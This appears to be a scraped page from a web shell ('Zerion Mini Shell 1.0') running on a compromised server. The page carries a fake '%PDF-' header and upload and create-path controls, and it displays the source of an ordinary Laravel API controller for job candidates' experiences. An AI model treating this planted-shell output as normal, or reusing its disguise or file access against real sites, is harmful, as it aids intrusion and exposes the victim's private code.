%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/workeasy-api/app/Http/Controllers/Api/
Upload File :
Create Path :
Current File : /var/www/html/workeasy-api/app/Http/Controllers/Api/ExperiencesController.php

<?php

namespace Workeasy\Http\Controllers\Api;


use EllipseSynergie\ApiResponse\Contracts\Response;
use Workeasy\Models\Candidate;
use Workeasy\Models\Company;
use Workeasy\Models\Offer;
use Workeasy\Transformers\ExperienceTransformer;

class ExperiencesController extends ApiController
{
    private $transformer;

    public function __construct(Response $response, ExperienceTransformer $transformer)
    {
        parent::__construct($response);
        $this->transformer = $transformer;
    }

    public function index($offer, $candidate)
    {
        /** @var Company $company */
        $company = $this->getUserCompany();
        /** @var Offer $offer */
        $offer = $company->offers()->findOrFail($offer);
        $candidate = $offer->candidates()->findOrFail($candidate);
        return $this->response->withCollection($candidate->experiences, $this->transformer);
    }

    public function show($offer, $candidate, $experience)
    {
        /** @var Company $company */
        $company = $this->getUserCompany();
        /** @var Offer $offer */
        $offer = $company->offers()->findOrFail($offer);
        /** @var Candidate $candidate */
        $candidate = $offer->candidates()->findOrFail($candidate);
        $exp = $candidate->experiences()->findOrFail($experience);
        return $this->response->withItem($exp, $this->transformer);
    }
}

Zerion Mini Shell 1.0